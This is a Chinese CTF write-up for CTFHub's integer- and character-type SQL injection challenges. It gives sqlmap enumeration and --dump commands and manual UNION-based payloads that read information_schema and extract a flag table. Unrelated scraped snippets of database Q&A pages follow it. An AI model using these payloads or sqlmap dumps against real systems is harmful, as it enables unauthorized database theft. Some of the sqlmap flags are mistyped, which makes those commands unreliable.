CTFHUB - SQL注入-整数型和字符型注入

2023-11-12

目录

一.前言

二.使用工具

三.知识点

四.整数型注入

1. sqlmap工具注入

2.手工注入

知识点

步骤

复现

五.字符型注入

复现

1.手工注入

2.sqlmap注入


一.前言

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

在学习SQL注入时要了解一些MYSQL语 mysql基础学习 在URL上可以进行sql注入

可将SQL注入方式大致分为两类:数字型注入、字符型注入.

我使用 sqlmap 都是在kali中终端使用 sqlmap windows 和kali 的语法不要一样

二.使用工具

kali中自带的sqlmap

URL中的sql注入

三.知识点

库 database

表 tables

字段 columns

sqlmap注入代码:

查询注入:sqlmap -u “URL”

爆破出库名和库中的表:sqlmap -u "URL" --tables  (有两个 --)

爆破库的表:sqlmap -u "URL" -D 库名 -tables    (只有一个-)

爆破表中的字段: sqlmap -u "URL" -D 库名 -T 表名 -columns

查询密码:sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 -dump

四.整数型注入

1. sqlmap工具注入

打开环境

发现让我们输入一个1试试看 我们进行输入

 在我们进行输入后发现 他显示了ID DATA(并且注意在URL上也输入了?id=1说明是GET型)

我们再进行输入2试试看

发现又进行了改变于是我们通过SQLMAP进行查询sql注入

查询代码为 sqlmap -u "URL"

发现id might be vulnerable 说明 存在注入

 执行完成发现爆出了很多信息

于是我们进行爆破库

sqlmap -u "URL" --tables

 发现把库爆破出来了 也发现了flag字段

所以我们爆破表 运用 sqlmap -u "URL" --D sqli --T flag -columns

爆破完成 我们现在需要的是让flag中的字段显示出来 于是我们可以运用

sqlmap -u "URL" -D sqli -T flag -C flag --dump 将里面的字段显示出来

得到flag 结束该题目

2.手工注入

知识点:

联合查询  union 当我们要sql注入在id后 可以用union将我们要执行的sql注入

schemata : 保存当前服务器里所有数据库的信息 库名
tables : 保存当前服务器里面所有数据表的信息 表名  table _name 数据表名
columns: 保存当前服务器里面所有字段信息 字段名字

要进行报错注入 就是 union前后互补影响 所以输入一个错误的信息 数据库就会回数据给你

所以我们可以输入?id=-1 union select 1,database()  因为数据库没有-1 所以返回select 1

步骤:

1.查看是否有注入点

1 and 1=1

1 and 1=2 如果报错 则有注入点

2.猜有多少个字段

1 order by 1

1 order by 2

3.爆出数据库名

?id=1 and 1=2 union select 1,database()

4.爆出数据库中表的名字

?id=1 and 1=2 union select 1 group_concat(table_name) from information_schema.tables where table_shema="数据库名"

5.从表名中爆破出列名

?id=1 and 1=2 union select 1 group_concat(column_name)from information_schema.columns where table_name="表名"

6.获取flag

?id=1 and 1=2 union select 1 group_concat (flag) from "sqli.flag"

复现:

判断注入点 ?id=1 and 1=1

 ?id=1 and 1=2

 报错 存在注入点 为 ?id=1 and 1=2

开始猜字段数

?id=1 order by 1

没有报错 ?id=1 order by 2

 没有报错 ?id=1 order by 3

报错 存在2个字段数

开始爆破数据库名字

?id=-1 union select 1,database()   为什么要设置为-1呢

因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容

 得到数据库名字

于是我们开始爆破表名 

?id=-1  union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)   limit 0,1(0,1从数据库地一个开始只拿一个字段)

 或者我们可以得到该数据库的所有字段

运用 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

得到字段flag

 于是我们进行爆破字段名

?id=-1 union select 1,group_concat(flag) from sqli.flag

到此 整数型注入 结束

五.字符型注入

字符型注入要考虑到 引号闭合 和 注释

复现

1.手工注入

 我们继续先输入1

 1 and 1=1 

 发现不行 为什么呢 我们仔细看下面的返回的代码

select * from news where id='1 and 1=1'

其中 我们想表达的id=1 变成了id='1 我们学计算机就发现 为什么只有一个单引号

于是我们输入 1' and 1=1 尝试一下

不报错了

于是我们尝试找注入点 1' and 1=2

存在注入点

于是我们接着爆破数据库名

-1' union select 1,database()

发现没有出现 报错了 为什么呢 我们看返回的代码

select * from news where id='-1' union select 1,database()'

注意最后面那个为什么会有一个‘在这出现呢 这就是为了防止sql注入而放置的

我们需要绕过这个 怎么绕过呢   我们需要#来把他注释掉

#+任何东西 在后台中都不执行 直接忽略

所以我们用# 注释掉‘

-1' union select 1,database() #

 出现了数据库sqli

爆破数据库中的表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

得到表名 

从表中得到flag

-1' union select 1,group_concat(flag) from sqli.flag #

 得到flag

2.sqlmap注入

复制URL

sqlmap -u "URL" --tables

出现数据库 并且发现flag

爆破表

sqlmap -u "URL" -D sqli -T flag -columns

 爆破出来了

然后得到结果即可

sqlmap -u "URL" -D sqli -T flag -C flag --dump

得到flag

到此 SQL注入的整数型和字符型结束

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFHUB - SQL注入-整数型和字符型注入 的相关文章

  • 如何在Sequelize中设置查询超时?

    我想看看如何在 Sequelize 中设置查询的超时时间 我查看了 Sequelize 文档以获取一些信息 但我找不到我要找的东西 我发现的最接近的是 pools acquire 选项 但我不想设置传入连接的超时 而是设置正在进行的查询的超
  • MySQL PHP邮政编码比较具体距离

    我试图找出比较一个邮政编码 用户提供的 和一大堆其他邮政编码 现在大约有 200 个邮政编码 之间的距离的最有效方法 相对于加载时间 但它会随着时间的推移而增加 我不需要任何精确的东西 只是在球场上 我下载了整个美国的邮政编码 csv 文件
  • 将古吉拉特语文本插入 MySQL 表会产生垃圾字符和不可读的文本

    我有三个 MySQL 表 我正在向其中插入古吉拉特语内容 当我插入两个表时 它们插入得很好并且可读 但在一个表中 它显示垃圾字符 不可读的文本 我怎样才能解决这个问题 MySQL 有每个表的字符集设置 http dev mysql com
  • 了解 SSMS 2008 中关系的更新和删除规则

    当我们定义外键约束时 我对 SQL Server 2008 Management Studio 中的更新和删除规则的含义感到困惑 我也没有找到相关的帮助文档 例如F1帮助 这是屏幕快照 如果有人能描述它们的含义并推荐一些相关文档来阅读 我将
  • MySQL 按重复项从上到下排序

    我有一个lammer问题 因为我不是mysql专业人士 我有类似的字段 id color 1 red 2 green 3 yellow 4 green 5 green 6 red 我想按重复项进行分组 最常见的重复项先进行分组 所以应该这样
  • MySQL Connector C/C API - 使用特殊字符进行查询

    我是一个 C 程序 我有一个接受域名参数的函数 void db domains query char name 使用 mysql query 我测试数据库中是否存在域名 如果不是这种情况 我插入新域名 char query 400 spri
  • 将第三个表链接到多对多关联中的桥接表

    设计这个数据库的正确方法是什么 这是我设置表格的方式 我在名为 教师 的表和名为 仪器 的表之间存在多对多关系 然后我有一个连接两者的桥接表 我想将另一个表与 BRIDGE 表关联起来 意思是乐器 老师的组合 该表有 3 行 指定老师可以教
  • 免费 PHP 登录库 [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 比特纳米。重置mysql根密码

    我如何重置 MySQL 中的 root 密码和帐户 因为我按照如何为其他服务器授予权限的说明操作 并且意外地将 root 用户 Mysql 绑定到其他 IP 地址 现在看来我无法在 localhost 上以管理员身份登录 Thanks 您有
  • 跨多个表进行搜索,并在结果行中显示表名称

    如何构建 SQL 语句以跨多个平面不相关的表运行 并使用选择结果和结果来自的表的名称显示结果 这种情况是这样的 我有几个表 每个表都有相同的列名 这是我从外部各方收到的数据 并将其存储在不同的表中 相同的表看起来像 Table 1 pid
  • 为什么 SqlClient 在传递 SqlXml 时使用不必要的 XML 转换?

    我有一个关于从 C 代码将 xml 数据类型传递给查询的问题 首先 这是 SQL Server 上的一个表 CREATE TABLE dbo XmlTable id int IDENTITY 1 1 NOT NULL dat xml NOT
  • 用更轻的解决方案替换完整的 ORM(JPA/Hibernate):推荐的加载/保存模式?

    我正在开发一个新的 Java Web 应用程序 并且正在探索保存数据的新方法 对我来说是新方法 我主要有 JPA 和 Hibernate 的经验 但是 除了简单的情况之外 我认为这种完整的 ORM 可能会变得相当复杂 另外 我不太喜欢和他们
  • SELECT 语句会受到 SQL 注入攻击吗?

    实际上有2个问题 我知道我必须尽可能多地使用存储过程 但我想知道以下内容 A 我可以从 SELECT 语句 例如 Select from MyTable 获得 SQL 注入攻击吗 B 另外 当我在 ASP NET 中使用 SQLDataSo
  • PDO PHP 连接,致命错误

    我的连接类 firstcode php class DB functions public db function construct try db new PDO mysql localhost dbname xxx charset ut
  • 内连接不重复,可以吗?

    鉴于这两个表 表 A1 有两行具有相同的值 a A1 a a 表 A2 有两行主键值为 A B 它们与 a 关联 A2 PK col2 A a B a 我想要的是 A1 和 A2 的连接并得到这个结果 a A a B 显然内连接在这里不起作
  • 如何将表中不存在但原始SQL中存在的实体字段设置为别名?

    假设我们有一个这样的查询 SELECT CUSTOM EXPRESSION as virtualfield FROM users 用户的实体本身具有 虚拟字段 但映射注释没有 因为表没有该字段 假设它作为原始 SQL 执行 我们如何使用上面
  • 为什么我可以像调用实例方法一样调用类方法?

    我正在查看这个例子 class SQLObject def self columns return columns if columns columns DBConnection execute2 lt lt SQL first SELEC
  • 如何在 Play java 中创建数据库线程池并使用该池进行数据库查询

    我目前正在使用 play java 并使用默认线程池进行数据库查询 但了解使用数据库线程池进行数据库查询可以使我的系统更加高效 目前我的代码是 import play libs Akka import scala concurrent Ex
  • Java JDBC:更改表

    我希望对此表进行以下修改 添加 状态列 varchar 20 日期列 时间戳 我不确定该怎么做 String createTable Create table aircraft aircraftNumber int airLineCompa
  • 在 postgres 查询中使用列表

    我有一个动态列表 list a b c d 所以长度可能会改变 我想在查询中比较这些列表值 select from student where name in all the list values 我想将列表值传递到此查询中 我怎样才能做

随机推荐

  • 算法:链表数字相加

    算法 链表数字相加 问题 解决 问题 解决 class Solution def mergeNodes self head Optional ListNode gt Optional ListNode init re ListNode 0
  • 项目总结@Repository注解dao层接口扫描不到

    使用 Repository来注解 来注解dao层接口 运行运行项目不能扫描 应该是接触的项目比较少 第一次遇到这种情况 使用 Repository注解mapper接口发现项目运行找不到dao层的东西 我滴个神 以前用着这玩意不是挺好使的嘛
  • hashmap链表转化成红黑树的过程以及红黑树转化成链表的过程

    1 链表转红黑树的实现代码 该方法主要是将单向链表转化成双向链表 为了后面操作 比如在后面将红黑树放到数组上时 以及红黑树转成链表时简化操作 final void treeifyBin Node
  • C语言分别判断大小写英文字母,空格,数字和其他字符的个数

    输入一段字符串 分别判断小写字母 大写字母 数字 空格和其他字符各有几个 ASCII码中空格的ASCII码为32 A为65 a为97 程序代码 include
  • 世纪末的星期

    曾有邪教称1999年12月31日是世界末日 当然该谣言已经不攻自破 还有人称今后的某个世纪末的12月31日 如果是星期一则会 有趣的是 任何一个世纪末的年份的12月31日都不可能是星期一 于是 谣言制造商 又修改为星期日 1999年的12月
  • trap 信号捕获

    trap 信号捕获 命令说明 示例 产生信号 语法 选项说明 命令说明 Trap signals and other events Defines and activates handlers to be run when the shel
  • List去除空元素

    一 Collections singleton 一个用于创建只包含一个元素的不可变集合的方法 创建一个只包含一个值为null的元素的集合 list removeAll Collections singleton null list remo
  • Node.js搭建WEB服务器

    Node js搭建WEB服务器 1 安装Node和nodemon插件 2 引入http模块 3 创建服务监听端口 4 解析接口地址 5 解析get参数 6 解析post参数 1 安装Node和nodemon插件 全局安装nodemon插件
  • 超详细 Springboot 线程池用法一(自用)

    目录 前言 1 EnableAsync 和 Async 很关键 2 Thread 和 Runnable 要谨慎 3 数据类型 线程安全 要牢记 4 Configuration 和 Bean 很方便 5 ThreadPoolExecutor
  • uniapp图片裁剪插件开发整理

    工作之余 把工作中需要用的一个小工具封装成uniapp插件分享给大家 图片裁剪 使用场景 头像裁剪 对照片尺寸有特定要求的 实现思路 布局 做上下两层展示 下层展示一张亮度低一点全图 充当遮住部分 效果可以自定义比如说高斯模糊等 上层展示裁
  • 网络调试助手-Win & Linux

    网络调试助手 Win Linux 一 网络调试助手 二 Windows版 三 Linux版 参考链接 一 网络调试助手 PC桌面或嵌入式的客户端开发时常需要进行收发调试 常用的工具便是网络调试助手 支持UDP TCP客户端 服务端的模拟 二
  • [王垠系列]TeXmacs:一个真正“所见即所得”的排版系统

    TeXmacs 一个真正 所见即所得 的排版系统 好久没有推荐过自己喜欢的软件了 现在推荐一款我在美国做数学作业的私家法宝 TeXmacs 我恐怕不可能跟以前那么有闲心写个长篇的 TeXmacs 说明文档了 不过这东西如此的简单好用 所以基
  • STM32内部Flash读写问题

    STM32Flash读写之Flash调试技巧 文章目录 1 先熟悉所用MCU的Flash存储大小以及扇区地址 2 Flsah写之前为什么要先擦除 3 Flash擦除长时间占用CPU 4 实测Flash擦写占用的时间 5 Flash读写要注意
  • PTA 按等级统计学生成绩

    PTA 按等级统计学生成绩 int set grade struct student p int n int i count 0 for i 0 i
  • mysql设置update_time自动更新和create_time手动更新

    update time 设置update time 在更新时候才触发获取当前时间 关键语句 ON UPDATE CURRENT TIMESTAMP eg ALTER TABLE t emp tag CHANGE update time up
  • linux防火墙的开启、关闭、永久关闭

    防火墙是什么 我们为什么需要关闭防火墙 防火墙就是一个保护我们系统的软件服务 默认开启 但是我们在实际开发中 如果需要使用宿主机来连接虚拟机里面的redis mysql nginx tomcat等服务 需要将防火墙关闭 否则这个保护机制将不
  • SmartNews 基于 Flink 的 Iceberg 实时数据湖实践

    摘要 本文整理自 SmartNews 数据平台架构师 Apache Iceberg Contributor 戢清雨 在 Flink Forward Asia 2022 实时湖仓专场的分享 本篇内容主要分为五个部分 1 SmartNews 数
  • Edge浏览器新建标签页如何更改为指定网址?

    困扰我好久的问题 在网上找了半天 终于解决了 我就想在浏览器点加号打开新窗口时跳转到百度 便于查找 扩展 获取扩展 搜索New Tab Changer
  • 单链表的增删改查操作详解之C语言版

    单链表在应用中经常用到增加新结点 删除结点 修改结点 查找结点等操作 本文针对上述基本操作做了简单汇总 并给出了详细的算法 一 在单链表中增加结点 在链表中增加新结点是经常要用到的操作 增加新结点大致可以分为在链表末尾增加 在链表头增加 在
  • CTFHUB - SQL注入-整数型和字符型注入

    目录 一 前言 二 使用工具 三 知识点 四 整数型注入 1 sqlmap工具注入 2 手工注入 知识点 步骤 复现 五 字符型注入 复现 1 手工注入 2 sqlmap注入 一 前言 SQL注入即是指web应用程序对用户输入数据的合法性没